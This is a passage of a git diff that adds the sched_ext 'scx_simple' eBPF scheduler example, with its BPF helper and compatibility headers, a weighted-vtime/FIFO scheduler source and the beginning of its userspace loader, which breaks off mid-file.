encompass the memory area to be accessed and thus can't + * be a pointer to the area. Use `MEMBER_VPTR(*ptr, .member)` instead of + * `MEMBER_VPTR(ptr, ->member)`. + */ +#define MEMBER_VPTR(base, member) (typeof((base) member) *) \ +({ \ + u64 __base = (u64)&(base); \ + u64 __addr = (u64)&((base) member) - __base; \ + _Static_assert(sizeof(base) >= sizeof((base) member), \ + "@base is smaller than @member, is @base a pointer?"); \ + asm volatile ( \ + "if %0 <= %[max] goto +2\n" \ + "%0 = 0\n" \ + "goto +1\n" \ + "%0 += %1\n" \ + : "+r"(__addr) \ + : "r"(__base), \ + [max]"i"(sizeof(base) - sizeof((base) member))); \ + __addr; \ +}) + +/** + * ARRAY_ELEM_PTR - Obtain the verified pointer to an array element + * @arr: array to index into + * @i: array index + * @n: number of elements in array + * + * Similar to MEMBER_VPTR() but is intended for use with arrays where the + * element count needs to be explicit. + * It can be used in cases where a global array is defined with an initial + * size but is intended to be be resized before loading the BPF program. + * Without this version of the macro, MEMBER_VPTR() will use the compile time + * size of the array to compute the max, which will result in rejection by + * the verifier. + */ +#define ARRAY_ELEM_PTR(arr, i, n) (typeof(arr[i]) *) \ +({ \ + u64 __base = (u64)arr; \ + u64 __addr = (u64)&(arr[i]) - __base; \ + asm volatile ( \ + "if %0 <= %[max] goto +2\n" \ + "%0 = 0\n" \ + "goto +1\n" \ + "%0 += %1\n" \ + : "+r"(__addr) \ + : "r"(__base), \ + [max]"r"(sizeof(arr[0]) * ((n) - 1))); \ + __addr; \ +}) + + +/* + * BPF declarations and helpers + */ + +/* list and rbtree */ +#define __contains(name, node) __attribute__((btf_decl_tag("contains:" #name ":" #node))) +#define private(name) SEC(".data." #name) __hidden __attribute__((aligned(8))) + +void *bpf_obj_new_impl(__u64 local_type_id, void *meta) __ksym; +void bpf_obj_drop_impl(void *kptr, void *meta) __ksym; + +#define bpf_obj_new(type) ((type *)bpf_obj_new_impl(bpf_core_type_id_local(type), NULL)) +#define bpf_obj_drop(kptr) bpf_obj_drop_impl(kptr, NULL) + +void bpf_list_push_front(struct bpf_list_head *head, struct bpf_list_node *node) __ksym; +void bpf_list_push_back(struct bpf_list_head *head, struct bpf_list_node *node) __ksym; +struct bpf_list_node *bpf_list_pop_front(struct bpf_list_head *head) __ksym; +struct bpf_list_node *bpf_list_pop_back(struct bpf_list_head *head) __ksym; +struct bpf_rb_node *bpf_rbtree_remove(struct bpf_rb_root *root, + struct bpf_rb_node *node) __ksym; +int bpf_rbtree_add_impl(struct bpf_rb_root *root, struct bpf_rb_node *node, + bool (less)(struct bpf_rb_node *a, const struct bpf_rb_node *b), + void *meta, __u64 off) __ksym; +#define bpf_rbtree_add(head, node, less) bpf_rbtree_add_impl(head, node, less, NULL, 0) + +struct bpf_rb_node *bpf_rbtree_first(struct bpf_rb_root *root) __ksym; + +void *bpf_refcount_acquire_impl(void *kptr, void *meta) __ksym; +#define bpf_refcount_acquire(kptr) bpf_refcount_acquire_impl(kptr, NULL) + +/* task */ +struct task_struct *bpf_task_from_pid(s32 pid) __ksym; +struct task_struct *bpf_task_acquire(struct task_struct *p) __ksym; +void bpf_task_release(struct task_struct *p) __ksym; + +/* cgroup */ +struct cgroup *bpf_cgroup_ancestor(struct cgroup *cgrp, int level) __ksym; +void bpf_cgroup_release(struct cgroup *cgrp) __ksym; +struct cgroup *bpf_cgroup_from_id(u64 cgid) __ksym; + +/* css iteration */ +struct bpf_iter_css; +struct cgroup_subsys_state; +extern int bpf_iter_css_new(struct bpf_iter_css *it, + struct cgroup_subsys_state *start, + unsigned int flags) __weak __ksym; +extern struct cgroup_subsys_state * +bpf_iter_css_next(struct bpf_iter_css *it) __weak __ksym; +extern void bpf_iter_css_destroy(struct bpf_iter_css *it) __weak __ksym; + +/* cpumask */ +struct bpf_cpumask *bpf_cpumask_create(void) __ksym; +struct bpf_cpumask *bpf_cpumask_acquire(struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_release(struct bpf_cpumask *cpumask) __ksym; +u32 bpf_cpumask_first(const struct cpumask *cpumask) __ksym; +u32 bpf_cpumask_first_zero(const struct cpumask *cpumask) __ksym; +void bpf_cpumask_set_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_clear_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +bool bpf_cpumask_test_cpu(u32 cpu, const struct cpumask *cpumask) __ksym; +bool bpf_cpumask_test_and_set_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +bool bpf_cpumask_test_and_clear_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_setall(struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_clear(struct bpf_cpumask *cpumask) __ksym; +bool bpf_cpumask_and(struct bpf_cpumask *dst, const struct cpumask *src1, + const struct cpumask *src2) __ksym; +void bpf_cpumask_or(struct bpf_cpumask *dst, const struct cpumask *src1, + const struct cpumask *src2) __ksym; +void bpf_cpumask_xor(struct bpf_cpumask *dst, const struct cpumask *src1, + const struct cpumask *src2) __ksym; +bool bpf_cpumask_equal(const struct cpumask *src1, const struct cpumask *src2) __ksym; +bool bpf_cpumask_intersects(const struct cpumask *src1, const struct cpumask *src2) __ksym; +bool bpf_cpumask_subset(const struct cpumask *src1, const struct cpumask *src2) __ksym; +bool bpf_cpumask_empty(const struct cpumask *cpumask) __ksym; +bool bpf_cpumask_full(const struct cpumask *cpumask) __ksym; +void bpf_cpumask_copy(struct bpf_cpumask *dst, const struct cpumask *src) __ksym; +u32 bpf_cpumask_any_distribute(const struct cpumask *cpumask) __ksym; +u32 bpf_cpumask_any_and_distribute(const struct cpumask *src1, + const struct cpumask *src2) __ksym; +u32 bpf_cpumask_weight(const struct cpumask *cpumask) __ksym; + +/* + * Access a cpumask in read-only mode (typically to check bits). + */ +const struct cpumask *cast_mask(struct bpf_cpumask *mask) +{ + return (const struct cpumask *)mask; +} + +/* rcu */ +void bpf_rcu_read_lock(void) __ksym; +void bpf_rcu_read_unlock(void) __ksym; + + +/* + * Other helpers + */ + +/* useful compiler attributes */ +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) +#define __maybe_unused __attribute__((__unused__)) + +/* + * READ/WRITE_ONCE() are from kernel (include/asm-generic/rwonce.h). They + * prevent compiler from caching, redoing or reordering reads or writes. + */ +typedef __u8 __attribute__((__may_alias__)) __u8_alias_t; +typedef __u16 __attribute__((__may_alias__)) __u16_alias_t; +typedef __u32 __attribute__((__may_alias__)) __u32_alias_t; +typedef __u64 __attribute__((__may_alias__)) __u64_alias_t; + +static __always_inline void __read_once_size(const volatile void *p, void *res, int size) +{ + switch (size) { + case 1: *(__u8_alias_t *) res = *(volatile __u8_alias_t *) p; break; + case 2: *(__u16_alias_t *) res = *(volatile __u16_alias_t *) p; break; + case 4: *(__u32_alias_t *) res = *(volatile __u32_alias_t *) p; break; + case 8: *(__u64_alias_t *) res = *(volatile __u64_alias_t *) p; break; + default: + barrier(); + __builtin_memcpy((void *)res, (const void *)p, size); + barrier(); + } +} + +static __always_inline void __write_once_size(volatile void *p, void *res, int size) +{ + switch (size) { + case 1: *(volatile __u8_alias_t *) p = *(__u8_alias_t *) res; break; + case 2: *(volatile __u16_alias_t *) p = *(__u16_alias_t *) res; break; + case 4: *(volatile __u32_alias_t *) p = *(__u32_alias_t *) res; break; + case 8: *(volatile __u64_alias_t *) p = *(__u64_alias_t *) res; break; + default: + barrier(); + __builtin_memcpy((void *)p, (const void *)res, size); + barrier(); + } +} + +#define READ_ONCE(x) \ +({ \ + union { typeof(x) __val; char __c[1]; } __u = \ + { .__c = { 0 } }; \ + __read_once_size(&(x), __u.__c, sizeof(x)); \ + __u.__val; \ +}) + +#define WRITE_ONCE(x, val) \ +({ \ + union { typeof(x) __val; char __c[1]; } __u = \ + { .__val = (val) }; \ + __write_once_size(&(x), __u.__c, sizeof(x)); \ + __u.__val; \ +}) + +/* + * log2_u32 - Compute the base 2 logarithm of a 32-bit exponential value. + * @v: The value for which we're computing the base 2 logarithm. + */ +static inline u32 log2_u32(u32 v) +{ + u32 r; + u32 shift; + + r = (v > 0xFFFF) << 4; v >>= r; + shift = (v > 0xFF) << 3; v >>= shift; r |= shift; + shift = (v > 0xF) << 2; v >>= shift; r |= shift; + shift = (v > 0x3) << 1; v >>= shift; r |= shift; + r |= (v >> 1); + return r; +} + +/* + * log2_u64 - Compute the base 2 logarithm of a 64-bit exponential value. + * @v: The value for which we're computing the base 2 logarithm. + */ +static inline u32 log2_u64(u64 v) +{ + u32 hi = v >> 32; + if (hi) + return log2_u32(hi) + 32 + 1; + else + return log2_u32(v) + 1; +} + +#include "compat.bpf.h" + +#endif /* __SCX_COMMON_BPF_H */ diff --git a/src/44-scx-simple/include/scx/common.h b/src/44-scx-simple/include/scx/common.h new file mode 100644 index 00000000..5b0f9015 --- /dev/null +++ b/src/44-scx-simple/include/scx/common.h @@ -0,0 +1,75 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2023 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2023 Tejun Heo + * Copyright (c) 2023 David Vernet + */ +#ifndef __SCHED_EXT_COMMON_H +#define __SCHED_EXT_COMMON_H + +#ifdef __KERNEL__ +#error "Should not be included by BPF programs" +#endif + +#include +#include +#include +#include +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#define SCX_BUG(__fmt, ...) \ + do { \ + fprintf(stderr, "[SCX_BUG] %s:%d", __FILE__, __LINE__); \ + if (errno) \ + fprintf(stderr, " (%s)\n", strerror(errno)); \ + else \ + fprintf(stderr, "\n"); \ + fprintf(stderr, __fmt __VA_OPT__(,) __VA_ARGS__); \ + fprintf(stderr, "\n"); \ + \ + exit(EXIT_FAILURE); \ + } while (0) + +#define SCX_BUG_ON(__cond, __fmt, ...) \ + do { \ + if (__cond) \ + SCX_BUG((__fmt) __VA_OPT__(,) __VA_ARGS__); \ + } while (0) + +/** + * RESIZE_ARRAY - Convenience macro for resizing a BPF array + * @__skel: the skeleton containing the array + * @elfsec: the data section of the BPF program in which the array exists + * @arr: the name of the array + * @n: the desired array element count + * + * For BPF arrays declared with RESIZABLE_ARRAY(), this macro performs two + * operations. It resizes the map which corresponds to the custom data + * section that contains the target array. As a side effect, the BTF info for + * the array is adjusted so that the array length is sized to cover the new + * data section size. The second operation is reassigning the skeleton pointer + * for that custom data section so that it points to the newly memory mapped + * region. + */ +#define RESIZE_ARRAY(__skel, elfsec, arr, n) \ + do { \ + size_t __sz; \ + bpf_map__set_value_size((__skel)->maps.elfsec##_##arr, \ + sizeof((__skel)->elfsec##_##arr->arr[0]) * (n)); \ + (__skel)->elfsec##_##arr = \ + bpf_map__initial_value((__skel)->maps.elfsec##_##arr, &__sz); \ + } while (0) + +#include "user_exit_info.h" +#include "compat.h" + +#endif /* __SCHED_EXT_COMMON_H */ diff --git a/src/44-scx-simple/include/scx/compat.bpf.h b/src/44-scx-simple/include/scx/compat.bpf.h new file mode 100644 index 00000000..e5afe9ef --- /dev/null +++ b/src/44-scx-simple/include/scx/compat.bpf.h @@ -0,0 +1,47 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2024 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2024 Tejun Heo + * Copyright (c) 2024 David Vernet + */ +#ifndef __SCX_COMPAT_BPF_H +#define __SCX_COMPAT_BPF_H + +#define __COMPAT_ENUM_OR_ZERO(__type, __ent) \ +({ \ + __type __ret = 0; \ + if (bpf_core_enum_value_exists(__type, __ent)) \ + __ret = __ent; \ + __ret; \ +}) + +/* v6.12: 819513666966 ("sched_ext: Add cgroup support") */ +#define __COMPAT_scx_bpf_task_cgroup(p) \ + (bpf_ksym_exists(scx_bpf_task_cgroup) ? \ + scx_bpf_task_cgroup((p)) : NULL) + +/* v6.12: 4c30f5ce4f7a ("sched_ext: Implement scx_bpf_dispatch[_vtime]_from_dsq()") */ +#define __COMPAT_scx_bpf_dispatch_from_dsq_set_slice(it, slice) \ + (bpf_ksym_exists(scx_bpf_dispatch_from_dsq_set_slice) ? \ + scx_bpf_dispatch_from_dsq_set_slice((it), (slice)) : (void)0) +#define __COMPAT_scx_bpf_dispatch_from_dsq_set_vtime(it, vtime) \ + (bpf_ksym_exists(scx_bpf_dispatch_from_dsq_set_vtime) ? \ + scx_bpf_dispatch_from_dsq_set_vtime((it), (vtime)) : (void)0) +#define __COMPAT_scx_bpf_dispatch_from_dsq(it, p, dsq_id, enq_flags) \ + (bpf_ksym_exists(scx_bpf_dispatch_from_dsq) ? \ + scx_bpf_dispatch_from_dsq((it), (p), (dsq_id), (enq_flags)) : false) +#define __COMPAT_scx_bpf_dispatch_vtime_from_dsq(it, p, dsq_id, enq_flags) \ + (bpf_ksym_exists(scx_bpf_dispatch_vtime_from_dsq) ? \ + scx_bpf_dispatch_vtime_from_dsq((it), (p), (dsq_id), (enq_flags)) : false) + +/* + * Define sched_ext_ops. This may be expanded to define multiple variants for + * backward compatibility. See compat.h::SCX_OPS_LOAD/ATTACH(). + */ +#define SCX_OPS_DEFINE(__name, ...) \ + SEC(".struct_ops.link") \ + struct sched_ext_ops __name = { \ + __VA_ARGS__, \ + }; + +#endif /* __SCX_COMPAT_BPF_H */ diff --git a/src/44-scx-simple/include/scx/compat.h b/src/44-scx-simple/include/scx/compat.h new file mode 100644 index 00000000..cc56ff9a --- /dev/null +++ b/src/44-scx-simple/include/scx/compat.h @@ -0,0 +1,186 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2024 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2024 Tejun Heo + * Copyright (c) 2024 David Vernet + */ +#ifndef __SCX_COMPAT_H +#define __SCX_COMPAT_H + +#include +#include +#include +#include + +struct btf *__COMPAT_vmlinux_btf __attribute__((weak)); + +static inline void __COMPAT_load_vmlinux_btf(void) +{ + if (!__COMPAT_vmlinux_btf) { + __COMPAT_vmlinux_btf = btf__load_vmlinux_btf(); + SCX_BUG_ON(!__COMPAT_vmlinux_btf, "btf__load_vmlinux_btf()"); + } +} + +static inline bool __COMPAT_read_enum(const char *type, const char *name, u64 *v) +{ + const struct btf_type *t; + const char *n; + s32 tid; + int i; + + __COMPAT_load_vmlinux_btf(); + + tid = btf__find_by_name(__COMPAT_vmlinux_btf, type); + if (tid < 0) + return false; + + t = btf__type_by_id(__COMPAT_vmlinux_btf, tid); + SCX_BUG_ON(!t, "btf__type_by_id(%d)", tid); + + if (btf_is_enum(t)) { + struct btf_enum *e = btf_enum(t); + + for (i = 0; i < BTF_INFO_VLEN(t->info); i++) { + n = btf__name_by_offset(__COMPAT_vmlinux_btf, e[i].name_off); + SCX_BUG_ON(!n, "btf__name_by_offset()"); + if (!strcmp(n, name)) { + *v = e[i].val; + return true; + } + } + } else if (btf_is_enum64(t)) { + struct btf_enum64 *e = btf_enum64(t); + + for (i = 0; i < BTF_INFO_VLEN(t->info); i++) { + n = btf__name_by_offset(__COMPAT_vmlinux_btf, e[i].name_off); + SCX_BUG_ON(!n, "btf__name_by_offset()"); + if (!strcmp(n, name)) { + *v = btf_enum64_value(&e[i]); + return true; + } + } + } + + return false; +} + +#define __COMPAT_ENUM_OR_ZERO(__type, __ent) \ +({ \ + u64 __val = 0; \ + __COMPAT_read_enum(__type, __ent, &__val); \ + __val; \ +}) + +static inline bool __COMPAT_has_ksym(const char *ksym) +{ + __COMPAT_load_vmlinux_btf(); + return btf__find_by_name(__COMPAT_vmlinux_btf, ksym) >= 0; +} + +static inline bool __COMPAT_struct_has_field(const char *type, const char *field) +{ + const struct btf_type *t; + const struct btf_member *m; + const char *n; + s32 tid; + int i; + + __COMPAT_load_vmlinux_btf(); + tid = btf__find_by_name_kind(__COMPAT_vmlinux_btf, type, BTF_KIND_STRUCT); + if (tid < 0) + return false; + + t = btf__type_by_id(__COMPAT_vmlinux_btf, tid); + SCX_BUG_ON(!t, "btf__type_by_id(%d)", tid); + + m = btf_members(t); + + for (i = 0; i < BTF_INFO_VLEN(t->info); i++) { + n = btf__name_by_offset(__COMPAT_vmlinux_btf, m[i].name_off); + SCX_BUG_ON(!n, "btf__name_by_offset()"); + if (!strcmp(n, field)) + return true; + } + + return false; +} + +#define SCX_OPS_SWITCH_PARTIAL \ + __COMPAT_ENUM_OR_ZERO("scx_ops_flags", "SCX_OPS_SWITCH_PARTIAL") + +static inline long scx_hotplug_seq(void) +{ + int fd; + char buf[32]; + ssize_t len; + long val; + + fd = open("/sys/kernel/sched_ext/hotplug_seq", O_RDONLY); + if (fd < 0) + return -ENOENT; + + len = read(fd, buf, sizeof(buf) - 1); + SCX_BUG_ON(len <= 0, "read failed (%ld)", len); + buf[len] = 0; + close(fd); + + val = strtoul(buf, NULL, 10); + SCX_BUG_ON(val < 0, "invalid num hotplug events: %lu", val); + + return val; +} + +/* + * struct sched_ext_ops can change over time. If compat.bpf.h::SCX_OPS_DEFINE() + * is used to define ops and compat.h::SCX_OPS_LOAD/ATTACH() are used to load + * and attach it, backward compatibility is automatically maintained where + * reasonable. + * + * ec7e3b0463e1 ("implement-ops") in https://github.com/sched-ext/sched_ext is + * the current minimum required kernel version. + */ +#define SCX_OPS_OPEN(__ops_name, __scx_name) ({ \ + struct __scx_name *__skel; \ + \ + SCX_BUG_ON(!__COMPAT_struct_has_field("sched_ext_ops", "dump"), \ + "sched_ext_ops.dump() missing, kernel too old?"); \ + \ + __skel = __scx_name##__open(); \ + SCX_BUG_ON(!__skel, "Could not open " #__scx_name); \ + __skel->struct_ops.__ops_name->hotplug_seq = scx_hotplug_seq(); \ + __skel; \ +}) + +#define SCX_OPS_LOAD(__skel, __ops_name, __scx_name, __uei_name) ({ \ + UEI_SET_SIZE(__skel, __ops_name, __uei_name); \ + SCX_BUG_ON(__scx_name##__load((__skel)), "Failed to load skel"); \ +}) + +/* + * New versions of bpftool now emit additional link placeholders for BPF maps, + * and set up BPF skeleton in such a way that libbpf will auto-attach BPF maps + * automatically, assumming libbpf is recent enough (v1.5+). Old libbpf will do + * nothing with those links and won't attempt to auto-attach maps. + * + * To maintain compatibility with older libbpf while avoiding trying to attach + * twice, disable the autoattach feature on newer libbpf. + */ +#if LIBBPF_MAJOR_VERSION > 1 || \ + (LIBBPF_MAJOR_VERSION == 1 && LIBBPF_MINOR_VERSION >= 5) +#define __SCX_OPS_DISABLE_AUTOATTACH(__skel, __ops_name) \ + bpf_map__set_autoattach((__skel)->maps.__ops_name, false) +#else +#define __SCX_OPS_DISABLE_AUTOATTACH(__skel, __ops_name) do {} while (0) +#endif + +#define SCX_OPS_ATTACH(__skel, __ops_name, __scx_name) ({ \ + struct bpf_link *__link; \ + __SCX_OPS_DISABLE_AUTOATTACH(__skel, __ops_name); \ + SCX_BUG_ON(__scx_name##__attach((__skel)), "Failed to attach skel"); \ + __link = bpf_map__attach_struct_ops((__skel)->maps.__ops_name); \ + SCX_BUG_ON(!__link, "Failed to attach struct_ops"); \ + __link; \ +}) + +#endif /* __SCX_COMPAT_H */ diff --git a/src/44-scx-simple/include/scx/user_exit_info.h b/src/44-scx-simple/include/scx/user_exit_info.h new file mode 100644 index 00000000..8ce27344 --- /dev/null +++ b/src/44-scx-simple/include/scx/user_exit_info.h @@ -0,0 +1,115 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Define struct user_exit_info which is shared between BPF and userspace parts + * to communicate exit status and other information. + * + * Copyright (c) 2022 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2022 Tejun Heo + * Copyright (c) 2022 David Vernet + */ +#ifndef __USER_EXIT_INFO_H +#define __USER_EXIT_INFO_H + +enum uei_sizes { + UEI_REASON_LEN = 128, + UEI_MSG_LEN = 1024, + UEI_DUMP_DFL_LEN = 32768, +}; + +struct user_exit_info { + int kind; + s64 exit_code; + char reason[UEI_REASON_LEN]; + char msg[UEI_MSG_LEN]; +}; + +#ifdef __bpf__ + +#ifdef LSP +#include "../vmlinux/vmlinux.h" +#else +#include "vmlinux.h" +#endif +#include + +#define UEI_DEFINE(__name) \ + char RESIZABLE_ARRAY(data, __name##_dump); \ + const volatile u32 __name##_dump_len; \ + struct user_exit_info __name SEC(".data") + +#define UEI_RECORD(__uei_name, __ei) ({ \ + bpf_probe_read_kernel_str(__uei_name.reason, \ + sizeof(__uei_name.reason), (__ei)->reason); \ + bpf_probe_read_kernel_str(__uei_name.msg, \ + sizeof(__uei_name.msg), (__ei)->msg); \ + bpf_probe_read_kernel_str(__uei_name##_dump, \ + __uei_name##_dump_len, (__ei)->dump); \ + if (bpf_core_field_exists((__ei)->exit_code)) \ + __uei_name.exit_code = (__ei)->exit_code; \ + /* use __sync to force memory barrier */ \ + __sync_val_compare_and_swap(&__uei_name.kind, __uei_name.kind, \ + (__ei)->kind); \ +}) + +#else /* !__bpf__ */ + +#include +#include + +/* no need to call the following explicitly if SCX_OPS_LOAD() is used */ +#define UEI_SET_SIZE(__skel, __ops_name, __uei_name) ({ \ + u32 __len = (__skel)->struct_ops.__ops_name->exit_dump_len ?: UEI_DUMP_DFL_LEN; \ + (__skel)->rodata->__uei_name##_dump_len = __len; \ + RESIZE_ARRAY((__skel), data, __uei_name##_dump, __len); \ +}) + +#define UEI_EXITED(__skel, __uei_name) ({ \ + /* use __sync to force memory barrier */ \ + __sync_val_compare_and_swap(&(__skel)->data->__uei_name.kind, -1, -1); \ +}) + +#define UEI_REPORT(__skel, __uei_name) ({ \ + struct user_exit_info *__uei = &(__skel)->data->__uei_name; \ + char *__uei_dump = (__skel)->data_##__uei_name##_dump->__uei_name##_dump; \ + if (__uei_dump[0] != '\0') { \ + fputs("\nDEBUG DUMP\n", stderr); \ + fputs("================================================================================\n\n", stderr); \ + fputs(__uei_dump, stderr); \ + fputs("\n================================================================================\n\n", stderr); \ + } \ + fprintf(stderr, "EXIT: %s", __uei->reason); \ + if (__uei->msg[0] != '\0') \ + fprintf(stderr, " (%s)", __uei->msg); \ + fputs("\n", stderr); \ + __uei->exit_code; \ +}) + +/* + * We can't import vmlinux.h while compiling user C code. Let's duplicate + * scx_exit_code definition. + */ +enum scx_exit_code { + /* Reasons */ + SCX_ECODE_RSN_HOTPLUG = 1LLU << 32, + + /* Actions */ + SCX_ECODE_ACT_RESTART = 1LLU << 48, +}; + +enum uei_ecode_mask { + UEI_ECODE_USER_MASK = ((1LLU << 32) - 1), + UEI_ECODE_SYS_RSN_MASK = ((1LLU << 16) - 1) << 32, + UEI_ECODE_SYS_ACT_MASK = ((1LLU << 16) - 1) << 48, +}; + +/* + * These macro interpret the ecode returned from UEI_REPORT(). + */ +#define UEI_ECODE_USER(__ecode) ((__ecode) & UEI_ECODE_USER_MASK) +#define UEI_ECODE_SYS_RSN(__ecode) ((__ecode) & UEI_ECODE_SYS_RSN_MASK) +#define UEI_ECODE_SYS_ACT(__ecode) ((__ecode) & UEI_ECODE_SYS_ACT_MASK) + +#define UEI_ECODE_RESTART(__ecode) (UEI_ECODE_SYS_ACT((__ecode)) == SCX_ECODE_ACT_RESTART) + +#endif /* __bpf__ */ +#endif /* __USER_EXIT_INFO_H */ diff --git a/src/44-scx-simple/scx_simple.bpf.c b/src/44-scx-simple/scx_simple.bpf.c new file mode 100644 index 00000000..ed7e8d53 --- /dev/null +++ b/src/44-scx-simple/scx_simple.bpf.c @@ -0,0 +1,156 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * A simple scheduler. + * + * By default, it operates as a simple global weighted vtime scheduler and can + * be switched to FIFO scheduling. It also demonstrates the following niceties. + * + * - Statistics tracking how many tasks are queued to local and global dsq's. + * - Termination notification for userspace. + * + * While very simple, this scheduler should work reasonably well on CPUs with a + * uniform L3 cache topology. While preemption is not implemented, the fact that + * the scheduling queue is shared across all CPUs means that whatever is at the + * front of the queue is likely to be executed fairly quickly given enough + * number of CPUs. The FIFO scheduling mode may be beneficial to some workloads + * but comes with the usual problems with FIFO scheduling where saturating + * threads can easily drown out interactive ones. + * + * Copyright (c) 2022 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2022 Tejun Heo + * Copyright (c) 2022 David Vernet + */ +#include + +char _license[] SEC("license") = "GPL"; + +const volatile bool fifo_sched; + +static u64 vtime_now; +UEI_DEFINE(uei); + +/* + * Built-in DSQs such as SCX_DSQ_GLOBAL cannot be used as priority queues + * (meaning, cannot be dispatched to with scx_bpf_dispatch_vtime()). We + * therefore create a separate DSQ with ID 0 that we dispatch to and consume + * from. If scx_simple only supported global FIFO scheduling, then we could + * just use SCX_DSQ_GLOBAL. + */ +#define SHARED_DSQ 0 + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u64)); + __uint(max_entries, 2); /* [local, global] */ +} stats SEC(".maps"); + +static void stat_inc(u32 idx) +{ + u64 *cnt_p = bpf_map_lookup_elem(&stats, &idx); + if (cnt_p) + (*cnt_p)++; +} + +static inline bool vtime_before(u64 a, u64 b) +{ + return (s64)(a - b) < 0; +} + +s32 BPF_STRUCT_OPS(simple_select_cpu, struct task_struct *p, s32 prev_cpu, u64 wake_flags) +{ + bool is_idle = false; + s32 cpu; + + cpu = scx_bpf_select_cpu_dfl(p, prev_cpu, wake_flags, &is_idle); + if (is_idle) { + stat_inc(0); /* count local queueing */ + scx_bpf_dispatch(p, SCX_DSQ_LOCAL, SCX_SLICE_DFL, 0); + } + + return cpu; +} + +void BPF_STRUCT_OPS(simple_enqueue, struct task_struct *p, u64 enq_flags) +{ + stat_inc(1); /* count global queueing */ + + if (fifo_sched) { + scx_bpf_dispatch(p, SHARED_DSQ, SCX_SLICE_DFL, enq_flags); + } else { + u64 vtime = p->scx.dsq_vtime; + + /* + * Limit the amount of budget that an idling task can accumulate + * to one slice. + */ + if (vtime_before(vtime, vtime_now - SCX_SLICE_DFL)) + vtime = vtime_now - SCX_SLICE_DFL; + + scx_bpf_dispatch_vtime(p, SHARED_DSQ, SCX_SLICE_DFL, vtime, + enq_flags); + } +} + +void BPF_STRUCT_OPS(simple_dispatch, s32 cpu, struct task_struct *prev) +{ + scx_bpf_consume(SHARED_DSQ); +} + +void BPF_STRUCT_OPS(simple_running, struct task_struct *p) +{ + if (fifo_sched) + return; + + /* + * Global vtime always progresses forward as tasks start executing. The + * test and update can be performed concurrently from multiple CPUs and + * thus racy. Any error should be contained and temporary. Let's just + * live with it. + */ + if (vtime_before(vtime_now, p->scx.dsq_vtime)) + vtime_now = p->scx.dsq_vtime; +} + +void BPF_STRUCT_OPS(simple_stopping, struct task_struct *p, bool runnable) +{ + if (fifo_sched) + return; + + /* + * Scale the execution time by the inverse of the weight and charge. + * + * Note that the default yield implementation yields by setting + * @p->scx.slice to zero and the following would treat the yielding task + * as if it has consumed all its slice. If this penalizes yielding tasks + * too much, determine the execution time by taking explicit timestamps + * instead of depending on @p->scx.slice. + */ + p->scx.dsq_vtime += (SCX_SLICE_DFL - p->scx.slice) * 100 / p->scx.weight; +} + +void BPF_STRUCT_OPS(simple_enable, struct task_struct *p) +{ + p->scx.dsq_vtime = vtime_now; +} + +s32 BPF_STRUCT_OPS_SLEEPABLE(simple_init) +{ + return scx_bpf_create_dsq(SHARED_DSQ, -1); +} + +void BPF_STRUCT_OPS(simple_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} + +SCX_OPS_DEFINE(simple_ops, + .select_cpu = (void *)simple_select_cpu, + .enqueue = (void *)simple_enqueue, + .dispatch = (void *)simple_dispatch, + .running = (void *)simple_running, + .stopping = (void *)simple_stopping, + .enable = (void *)simple_enable, + .init = (void *)simple_init, + .exit = (void *)simple_exit, + .name = "simple"); diff --git a/src/44-scx-simple/scx_simple.c b/src/44-scx-simple/scx_simple.c new file mode 100644 index 00000000..25d4e4da --- /dev/null +++ b/src/44-scx-simple/scx_simple.c @@ -0,0 +1,107 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2022 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2022 Tejun Heo + * Copyright (c) 2022 David Vernet + */ +#include +#include +#include +#include +#include +#include +#include "scx_simple.skel.h" + +const char help_fmt[] = +"A simple sched_ext scheduler.\n" +"\n" +"See the top-level comment in .bpf.c for more details.\n" +"\n" +"Usage: %s [-f] [-v]\n" +"\n" +" -f Use FIFO scheduling instead of weighted vtime scheduling\n" +" -v Print libbpf debug messages\n" +" -h Display this help and exit\n"; + +static bool verbose; +static volatile int exit_req; + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !verbose) + return 0; + return vfprintf(stderr, format, args); +} + +static void sigint_handler(int simple) +{ + exit_req = 1; +} + +static void read_stats(struct scx_simple *skel, __u64 *stats) +{ + int nr_cpus = libbpf_num_possible_cpus(); + __u64 cnts[2][nr_cpus]; + __u32 idx; + + memset(stats, 0, sizeof(stats[0]) * 2); + + for (idx = 0; idx < 2; idx++) { + int ret, cpu; + + ret = bpf_map_lookup_elem(bpf_map__fd(skel->maps.stats), + &idx, cnts[idx]); + if (ret < 0) + continue; + for (cpu = 0; cpu < nr_cpus; cpu++) + stats[idx] += cnts[idx][cpu]; + } +} + +int main(int argc, char **argv) +{ + struct scx_simple *skel; + struct bpf_link *link; + __u32 opt; + __u64 ecode; + + libbpf_set_print(libbpf_print_fn); + signal(SIGINT, sigint_handler); + signal(SIGTERM, sigint_handler); +restart: + skel = SCX_OPS_OPEN(simple_ops, scx_simple); + + while ((opt = getopt(argc, argv, "fvh")) != -1) { + switch (opt) { + case 'f': + 